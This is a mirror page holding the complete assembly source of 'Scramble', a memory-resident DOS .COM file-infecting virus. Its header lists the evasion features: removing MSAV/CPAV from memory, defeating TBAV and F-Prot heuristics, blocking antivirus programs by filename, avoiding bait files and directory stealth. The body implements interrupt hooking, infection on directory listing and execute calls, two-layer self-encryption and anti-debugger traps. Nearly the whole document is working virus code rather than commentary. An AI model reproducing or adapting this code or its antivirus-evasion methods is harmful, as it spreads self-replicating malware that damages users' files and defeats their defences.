mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
645 lines
25 KiB
NASM
645 lines
25 KiB
NASM
; SCRAMBLE --- Memory resident .COM infector.
|
|
;
|
|
; Uses many methods to slip through heuristic and standard virus scanners.
|
|
;
|
|
; #1 Pulls MSAV and CPAV out of memory.
|
|
; #2 Has self modifying JMP at the beginning to confuse TBAV
|
|
; #3 Has the anti-fprot code from YB-X inside.
|
|
; #4 Doesn't let many known AV products run. It doesn't delete them
|
|
; unlike earlier projects.
|
|
; #5 Includes filters in the infection process to exclude possible "bait"
|
|
; files.
|
|
; #6 Uses the System File Tables for infection. This is a beautiful method
|
|
; to get alot of file information quickly.
|
|
; #7 Utilizes directory stealth. (FCB only)
|
|
;
|
|
; Features: Infects on 11h, 12h, and 4Bh. (Directory and Execute)
|
|
;
|
|
; Also SCRAMBLE includes many debuggers traps. They are concentrated in
|
|
; the beginning.
|
|
;
|
|
; Nikademus [CrYpT]
|
|
; ^^^^^^^
|
|
; Smile Urnst....
|
|
;
|
|
; ********************** [Scramble] ***************************************
|
|
|
|
.radix 16
|
|
code segment
|
|
model small
|
|
assume cs:code, ds:code, es:code
|
|
|
|
org 100h
|
|
|
|
len equ offset last - start ; Shadows length
|
|
vir_len equ len / 16d ; paragraphs of memory needed
|
|
encryptlength equ (last - begin)/2+1 ; encrypt all but 3 bytes
|
|
|
|
|
|
start:
|
|
db 0BBh ; mov bx, xxxx
|
|
off_start: ;
|
|
dw offset begin ; this is fixed up during inf.
|
|
xor_start: ;
|
|
db 81h ; XOR WORD PTR [BX], ????h
|
|
db 37h ;
|
|
e_v: ;
|
|
dw 0000h ; encryption word
|
|
;
|
|
inc bx ;
|
|
inc bx ;
|
|
db 81h, 0FBh ; cmp bx, xxxx
|
|
off_last: ;
|
|
dw offset last ;
|
|
jng xor_start ;
|
|
begin:
|
|
jmp inner_loop
|
|
db 'BEER and TEQUILA forever !' ; I love a good joke...
|
|
inner_loop:
|
|
start_2:
|
|
mov bx, offset begin_2 ; Inner encryption loop
|
|
mov cx, (last - begin_2)/2+1 ;
|
|
xor ax, ax ;
|
|
mov es, ax ;
|
|
mov dx, es:[4*1] ; Save part of int 3
|
|
ax_encrypt: ;
|
|
mov ax, 0000h ; encryption word
|
|
encrypt_loop_2: ;
|
|
mov es:[4*1], cx ; save cx on part of int 3
|
|
xor cx, cx ; clear cx
|
|
xchg al, ah ; The purpose of this
|
|
xor word ptr [bx], ax ; encryption is to be
|
|
xchg al, ah ; a pain
|
|
sub bx, -2 ; for people wanting to
|
|
mov cx, es:[4*1] ; trace.
|
|
loop encrypt_loop_2 ;
|
|
begin_2:
|
|
mov es:[4*1], dx ; restore int 3
|
|
jmp virus
|
|
db '[Scramble] By Nikademus $'
|
|
db 'Read CRYPT Today!. $'
|
|
virus:
|
|
mov dx, 5945h ; pull CPAV (MSAV)
|
|
mov ax, 64001d ; out of memory
|
|
int 16h ; This also confused
|
|
; TBCLEAN
|
|
|
|
call bp_fixup ; bp fixup
|
|
bp_fixup: ;
|
|
pop bp ;
|
|
sub bp, offset bp_fixup ;
|
|
|
|
xor ax, ax ;
|
|
mov es, ax ;
|
|
mov cx, es:[4*01h+2] ; Installation Check
|
|
mov bx, es:[4*03h+2] ; int 01 and 03 are normally
|
|
cmp cx, bx ; equal. Shadow changes
|
|
je next_early ; int 3h.
|
|
jmp fix_host ;
|
|
|
|
next_early:
|
|
mov es:[4*3h], ax ;
|
|
mov es:[4*3h+2], ax ; zero out 1 and 3
|
|
mov es:[4*1h], ax ; Debugger fix...
|
|
mov es:[4*1h+2], ax ; We hatesss Debuggersss
|
|
; Don't we Preciousss.
|
|
; - Tolkien
|
|
|
|
call screw_fprot ; confusing f-protect's
|
|
call screw_fprot ; heuristic scanning
|
|
call screw_fprot ; Still effective as of
|
|
call screw_fprot ; version 2.10
|
|
call screw_fprot ;
|
|
call screw_fprot ; [cf] Crypt Newsletter 18
|
|
call screw_fprot ; for explanation &
|
|
call screw_fprot ; rationale
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
Memory_manipulation:
|
|
push cs ;
|
|
pop es ;
|
|
push cs ;
|
|
pop ds ;
|
|
mov bx,cs ; reduce memory size
|
|
dec bx ;
|
|
mov ds,bx ; My standard memory
|
|
cmp byte ptr ds:[0000],5a ; routine...
|
|
jne fix_host ;
|
|
mov bx,ds:[0003] ;
|
|
sub bx, 100h ; # of 16byte paragraphs
|
|
mov ds:0003,bx ; to grab (4k)
|
|
Mov_to_unused_memory:
|
|
xchg bx, ax ; copy self to the new
|
|
mov bx, es ; 'unused' part of memory
|
|
add bx, ax ; QEMM calls this area
|
|
mov es, bx ; unused when Shadow is
|
|
mov cx, len ; resident.
|
|
mov ax, ds ;
|
|
inc ax ;
|
|
mov ds, ax ;
|
|
lea si, ds:[offset start+bp] ;
|
|
lea di, es:0100 ;
|
|
rep movsb ;
|
|
|
|
Interrupt_Manipulation:
|
|
xor ax, ax
|
|
mov ds, ax
|
|
push ds
|
|
lds ax, ds:[21h*4] ; get int 21h
|
|
mov word ptr es:old_21h, ax ; save 21
|
|
mov word ptr es:old_21h+2, ds
|
|
mov bx, ds ; bx = ds
|
|
pop ds
|
|
mov word ptr ds:[3h*4], ax ; put old 21 in int 3h
|
|
mov word ptr ds:[3h*4+2], bx ;
|
|
mov word ptr ds:[21h*4], offset Scramble ; put self in 21
|
|
mov ds:[21h*4+2], es ;
|
|
|
|
fix_host:
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov di,100h ; Replace overwritten bytes
|
|
push di ; Save the 100h
|
|
lea si, ds:[vict_head + bp] ;
|
|
mov cx, 25d ;
|
|
rep movsb ; Fix 'em
|
|
xor ax, ax ; Clean up after myself.
|
|
xor bx, bx ;
|
|
xor dx, dx ;
|
|
xor si, si ;
|
|
xor di, di ;
|
|
Bye_Bye:
|
|
ret ; Return to 100h
|
|
screw_fprot:
|
|
jmp $ + 2 ; Pseudo-nested calls to confuse
|
|
call screw2 ; f-protect's heuristic
|
|
call screw2 ; analysis
|
|
call screw2 ;
|
|
call screw2 ;
|
|
call screw2 ; These are straight from
|
|
ret ; YB-X.
|
|
screw2: ;
|
|
jmp $ + 2 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
ret ;
|
|
screw3: ;
|
|
jmp $ + 2 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
ret ;
|
|
screw4: ;
|
|
jmp $ + 2 ;
|
|
ret ;
|
|
|
|
vict_head db 90h, 0CDh, 20h, 90h, 90h, 90h, 90h, 90h, 90h, 90h
|
|
db 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h, 90h
|
|
db 90h, 90h, 90h, 90h, 90h
|
|
Scramble:
|
|
cmp ah, 11h ; Directory infect.
|
|
je d_h_1 ; + Stealth
|
|
cmp ah, 12h ; Directory infect.
|
|
je d_h_1 ; + Stealth
|
|
pushf ; Save all these
|
|
push ax ; registers.
|
|
push bx ;
|
|
push cx ;
|
|
push dx ;
|
|
push si ;
|
|
push di ;
|
|
push ds ;
|
|
push es ;
|
|
cmp ah, 4Bh ; Infect + AV filter
|
|
je infect ;
|
|
notforme:
|
|
pop es ; Goodbye cruel world
|
|
pop ds ; I'm leaving you today
|
|
pop di ; Goodbye
|
|
pop si ; ..
|
|
pop dx ; Goodbye
|
|
pop cx ; ..
|
|
pop bx ; ...goodbye
|
|
pop ax ; -Pink Floyd
|
|
popf ; (Well...Close)
|
|
|
|
big_jmp:
|
|
jmp dword ptr cs:[old_21h] ; This is The End.
|
|
d_h_1:
|
|
jmp dir_handler_1
|
|
infect:
|
|
mov word ptr cs:victim_name,dx
|
|
mov word ptr cs:victim_name+2,ds
|
|
cld
|
|
mov di,dx
|
|
push ds
|
|
pop es ; es:di -> name
|
|
mov al,'.' ; find the period
|
|
repne scasb ;
|
|
call name_tester
|
|
|
|
cmp ax, 0CCCCh ; DDDDh marks AV
|
|
je cont_inf ;
|
|
jmp notforme
|
|
cont_inf:
|
|
cmp word ptr es:[di], 'OC'
|
|
jne notforme
|
|
call HOOK_24
|
|
mov ax, 3D00h ; open read/only
|
|
lds dx, cs:[victim_name] ;
|
|
int 3h ;
|
|
jc notforme ; handle errors
|
|
xchg bx, ax ;
|
|
|
|
call infection_test ; is it infected?
|
|
cmp ax, 0CCCCh ; FFFF = infected
|
|
je continue_inf ; DDDD = don't infect
|
|
|
|
mov byte ptr es:[di+2], 00h ; mark it read/only
|
|
mov ax, 3E00h ; close file
|
|
int 3h ;
|
|
jmp notforme
|
|
continue_inf:
|
|
push cs ; infect 'em
|
|
pop es ;
|
|
call infect_victim ;
|
|
jmp notforme ;
|
|
|
|
|
|
infect_victim:
|
|
mov ah, 2Ch ; get random number
|
|
int 3h ; for encryption
|
|
or dx, dx ;
|
|
jz infect_victim ;
|
|
write_virus:
|
|
mov word ptr [offset e_v], dx
|
|
mov word ptr [offset e_value_1], dx
|
|
sub cx, dx
|
|
mov word ptr [offset ax_e], cx
|
|
xchg cl, ch
|
|
mov word ptr [offset ax_encrypt+1], cx
|
|
mov ax, [vict_size]
|
|
push ax
|
|
mov si, ax ; fix BX offset in head
|
|
add si, ((offset begin-offset start)+100h)
|
|
mov word ptr [off_start], si ; start of 'cryption
|
|
push si
|
|
add si, len
|
|
mov word ptr [off_last], si ; end of 'cryption
|
|
pop si
|
|
add si, (offset begin_2 - offset begin)
|
|
mov word ptr [offset start_2+1], si ; begin fixup #2
|
|
|
|
mov si, offset start ; copy virus to buffer
|
|
mov di, offset encryptbuffer ;
|
|
mov cx, last-start ;
|
|
rep movsb ;
|
|
|
|
pop ax
|
|
sub ax, 3d ; construct jump
|
|
mov word ptr [offset jmp_offset], ax ;
|
|
Encryptvirus_in_buffer:
|
|
push bx ; inner encryption
|
|
mov bx, offset encryptbuffer ;
|
|
add bx, (offset begin_2 - offset start) ;
|
|
mov cx, (last - begin_2)/2 +1 ;
|
|
e_loop_1: ;
|
|
db 81h ; XOR [bx]
|
|
db 37h ;
|
|
ax_e: ;
|
|
dw 0000h ; scrambler
|
|
add bx, 2 ;
|
|
loop e_loop_1 ; loop
|
|
|
|
mov bx, offset encryptbuffer ;
|
|
add bx, (offset begin - offset start) ; outer encryption
|
|
mov cx, (last - begin)/2 +1 ;
|
|
e_loop_2: ;
|
|
db 81h ; XOR [bx]
|
|
db 37h ;
|
|
e_value_1: ;
|
|
dw 0000h ; scrambler
|
|
add bx, 2 ;
|
|
loop e_loop_2 ; loop
|
|
|
|
pop bx
|
|
mov ah, 40h ; write virus
|
|
mov cx, last-start ;
|
|
mov dx, offset encryptbuffer ;
|
|
int 3h ;
|
|
|
|
mov ax, 4200h ; point to front
|
|
xor cx, cx ;
|
|
xor dx, dx ;
|
|
int 3h ;
|
|
|
|
mov ah, 40h ; write jump
|
|
mov dx, offset jmp_create ;
|
|
mov cx, 25d ;
|
|
int 3h ;
|
|
|
|
restore_date_time:
|
|
mov dx, word ptr [date] ; Date
|
|
mov cx, word ptr [time] ; Time
|
|
mov ax,5701h ;
|
|
int 3h
|
|
fix_attribs:
|
|
mov ax, 3E00h ; close
|
|
int 3h ;
|
|
mov ax, 4301h ; Restore old attributes
|
|
mov cl, byte ptr [attrib] ;
|
|
lds dx, cs:victim_name ;
|
|
int 3h ;
|
|
ret ; Leave this sub-routine
|
|
|
|
dir_handler_1:
|
|
pushf ;
|
|
db 9Ah ; Call to
|
|
old_21h dd ? ; old int 21 vector
|
|
|
|
cmp al, 0FFh ; Find something?
|
|
jnz next_dir_1 ;
|
|
iret ;
|
|
next_dir_1:
|
|
pushf
|
|
push ax ; save registers.
|
|
push bx ;
|
|
push cx ;
|
|
push dx ;
|
|
push ds ;
|
|
push es ;
|
|
push si ;
|
|
push di ;
|
|
|
|
mov ah, 2Fh ; Get DTA
|
|
int 3h ; es:bx -> DTA
|
|
push es ;
|
|
pop ds ; ds = es
|
|
cmp byte ptr [bx], 0FFh ; Extended FCB?
|
|
jnz not_extended ;
|
|
add bx, 7h ;
|
|
not_extended:
|
|
push cs ; restore es
|
|
pop es ;
|
|
cld
|
|
|
|
lea di, [victim_name] ; Dark Angel's code
|
|
lea si, [bx+1] ; to turn FCB string
|
|
mov cx, 8d ; into an ASCIIZ string
|
|
space_finder:
|
|
cmp byte ptr ds:[si], ' ' ; find the first space
|
|
jz space_found ;
|
|
movsb ;
|
|
loop space_finder ;
|
|
space_found:
|
|
mov al, '.' ; copy the period
|
|
stosb ;
|
|
mov ax, 'OC' ; test for (CO)M extention
|
|
lea si, [bx+9] ;
|
|
cmp word ptr [si], ax ;
|
|
jnz not_com ;
|
|
stosw
|
|
mov al, 'M' ; Is it an CO(M)
|
|
cmp byte ptr [si+2], al ;
|
|
jnz not_com ;
|
|
stosb
|
|
mov al, 0 ; end of string byte
|
|
stosb ; NULL for C people
|
|
|
|
push ds ;
|
|
pop es ; es = ds
|
|
push cs ;
|
|
pop ds ; restore ds
|
|
|
|
xchg di, bx ; es:di points to the DTA
|
|
mov ax, 3D00h ; open read/only
|
|
lea dx, [victim_name] ;
|
|
int 3h ; changes to r/w in the
|
|
jc not_com ; system file table
|
|
xchg ax, bx ;
|
|
|
|
push es
|
|
push di
|
|
push ds
|
|
|
|
call infection_test ; is it infected?
|
|
cmp ax, 0CCCCh ; FFFF = infected
|
|
je continue_dir ;
|
|
|
|
mov byte ptr es:[di+2], 00h ; mark it read/only
|
|
push ax
|
|
mov ax, 3E00h ; close file
|
|
int 3h ;
|
|
pop ax ; Save these
|
|
pop ds ;
|
|
pop di ;
|
|
pop es ;
|
|
cmp ax, 0DDDDh ; not infected, but
|
|
je not_com ; don't infect. IMPORTANT!
|
|
mov ax, es:[di+29d]
|
|
sub ax, len ; directory stealth
|
|
mov es:[di+29d], ax ;
|
|
not_com: ; . . .
|
|
pop di ; . . . .
|
|
pop si ; . . . .
|
|
pop es ; . . . .
|
|
pop ds ; . . . .
|
|
pop dx ; . .
|
|
pop cx ; . . . .
|
|
pop bx ; . . . .
|
|
pop ax ; . . . .
|
|
popf ; . . . .
|
|
iret ; . . .
|
|
continue_dir:
|
|
pop ds ; Actually get around to infecting
|
|
push cs ; the poor little file.
|
|
pop es ;
|
|
call infect_victim ;
|
|
pop di ;
|
|
pop es ;
|
|
jmp not_com ;
|
|
new_24h:
|
|
mov al,3 ; Error (Mis)handler
|
|
iret ;
|
|
|
|
name_tester:
|
|
cmp word ptr es:[di-3],'MI' ;Integrity Master
|
|
je AV ;*IM
|
|
|
|
cmp word ptr es:[di-3],'XR' ;*rx
|
|
je AV ;
|
|
|
|
cmp word ptr es:[di-3],'PO' ;*STOP
|
|
jne next1 ;(VIRSTOP)
|
|
cmp word ptr es:[di-5],'TS' ;
|
|
je AV ;
|
|
|
|
next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav
|
|
je AV ;(TBAV) (MSAV)
|
|
|
|
cmp word ptr es:[di-3],'TO' ;*prot f-prot
|
|
jne next2 ;
|
|
cmp word ptr es:[di-5],'RP' ;
|
|
jne next2 ;
|
|
AV: jmp AV_Detected ; must be equal
|
|
|
|
next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's
|
|
jne next3 ;(TBSCAN)
|
|
cmp word ptr es:[di-5],'CS' ;
|
|
je AV_Detected ;
|
|
|
|
cmp word ptr es:[di-3],'NA' ;*lean CLEAN..
|
|
jne next3 ; why not eh?
|
|
cmp word ptr es:[di-5],'EL' ;(TBCLEAN)
|
|
je AV_Detected ;
|
|
|
|
next3: cmp word ptr es:[di-3],'CV' ; Victor Charlie
|
|
je AV_Detected ; default *VC
|
|
|
|
cmp word ptr es:[di-3],'KC' ; VCHECK
|
|
jne next4 ; (Victor Charlie)
|
|
cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK
|
|
je AV_Detected ;
|
|
next4:
|
|
cmp word ptr es:[di-3],'ME' ; TBMEM
|
|
jne next5 ; *BMEM
|
|
cmp word ptr es:[di-5],'MB' ;
|
|
je AV_Detected ;
|
|
next5:
|
|
cmp word ptr es:[di-3],'XN' ; TBSCANX
|
|
jne next6 ; *CANX
|
|
cmp word ptr es:[di-5],'AC' ;
|
|
je AV_Detected ;
|
|
next6:
|
|
cmp word ptr es:[di-3],'EL' ; TBFILE
|
|
jne next7 ; *FILE
|
|
cmp word ptr es:[di-5],'IF' ;
|
|
je AV_Detected ;
|
|
next7:
|
|
cmp word ptr es:[di-3],'KS' ; CHKDSK
|
|
jne next8 ; *KDSK
|
|
cmp word ptr es:[di-5],'DK' ; chkdsk finds false errors
|
|
je AV_Detected ; with directory stealth
|
|
next8:
|
|
mov ax, 0CCCCh ; Flag NON-AV
|
|
ret ;
|
|
AV_Detected:
|
|
mov word ptr es:[di-1], 2020h ; Screw up the search
|
|
mov word ptr es:[di+1], 2020h ; clear the .XXX
|
|
mov ax, 0DDDDh ; Flag AV
|
|
ret ;
|
|
|
|
HOOK_24: ; hook interrupt 24
|
|
push ds ; by direct writes to
|
|
push dx ; the
|
|
push ax ; interrupt vector
|
|
push es ; table
|
|
xor ax, ax ;
|
|
mov ds, ax ; DOS will fix it back
|
|
mov dx, offset new_24h ; all by itself.
|
|
mov word ptr ds:[24h*4], dx ; For once, I like what
|
|
mov word ptr ds:[24h*4+2], es ; DOS does.
|
|
pop es ;
|
|
pop ax ;
|
|
pop dx ;
|
|
pop ds ;
|
|
ret ;
|
|
|
|
infection_test: ; assume file
|
|
push cs ; open
|
|
pop es ; and bx is handle
|
|
push cs
|
|
pop ds
|
|
|
|
push bx ;
|
|
mov ax, 1220h ; Get Job File Table
|
|
int 2Fh ;
|
|
jc error_out ;
|
|
mov bl, es:di ;
|
|
mov ax, 1216h ; Get System File Table
|
|
int 2Fh ; For my file.
|
|
jc error_out ;
|
|
|
|
pop bx
|
|
mov byte ptr es:[di+2], 02h ; change to read/write
|
|
mov ax, word ptr es:[di + 0Dh] ; get time
|
|
mov cs:[time], ax ;
|
|
mov ax, word ptr es:[di + 0Fh] ; get date
|
|
mov cs:[date], ax ;
|
|
mov al, byte ptr es:[di + 04h] ; get attribs
|
|
mov cs:[attrib], al ;
|
|
mov ax, es:[di + 11h]
|
|
cmp ax, 1000d ; size filter
|
|
jb filter_error ; only infect files bigger
|
|
|
|
mov ax, 3F00h ; read in 25 bytes
|
|
mov cx, 25d ;
|
|
mov dx, offset vict_head ;
|
|
int 3h ;
|
|
jc error_out ;
|
|
|
|
; Looking for possible BAIT files.
|
|
|
|
mov ah, byte ptr cs:[vict_head] ;
|
|
cmp ah, 90h ; nop test
|
|
je filter_error ;
|
|
cmp ah, 0CDh ; INT test
|
|
je filter_error ;
|
|
mov ax, word ptr cs:[vict_head+1] ;
|
|
cmp ah, 0CDh ; INT test
|
|
je filter_error ;
|
|
cmp al, 0CDh ; INT test
|
|
je filter_error ;
|
|
mov ax, 4200h ; point to beginning
|
|
xor cx, cx ; could have used SFT
|
|
xor dx, dx ;
|
|
int 3h ;
|
|
mov ax, 4202h ; point to end
|
|
int 3h ;
|
|
|
|
mov cs:[vict_size], ax ; infection check
|
|
mov cx, word ptr cs:[vict_head] ;
|
|
mov ax, 0CCBAh ; me..
|
|
cmp ax, cx ;
|
|
jnz not_infected ;
|
|
error_out:
|
|
mov ax, 0FFFFh ; FF = infected
|
|
ret ;
|
|
filter_error:
|
|
mov ax, 0DDDDh ; not infected
|
|
ret ; and DONT infect
|
|
not_infected:
|
|
mov ax, 0CCCCh ; not infected
|
|
ret
|
|
|
|
jmp_create db 0BAh, 0CCh, 0CCh, 0C6h, 06h, 00h, 01h, 0E9h, 0B8h
|
|
db 2Eh, 01h, 0BBh, 01h, 01h, 2Dh, 03h, 01h, 33h, 0C1h
|
|
db 0C7h, 07h
|
|
jmp_offset db 2Bh, 00h
|
|
db 0EBh, 0E7h
|
|
last: ; -=< end of encryption. >=-
|
|
|
|
|
|
|
|
; The heap........ junk not needed in main program
|
|
|
|
date dw 00h, 00h
|
|
victim_name dd ?
|
|
time dw 00h, 00h
|
|
attrib db ?
|
|
vict_size dw 00h, 00h
|
|
|
|
encryptbuffer db (last-start)+1 dup (?)
|
|
code ends
|
|
end start
|
|
|
|
|
|
|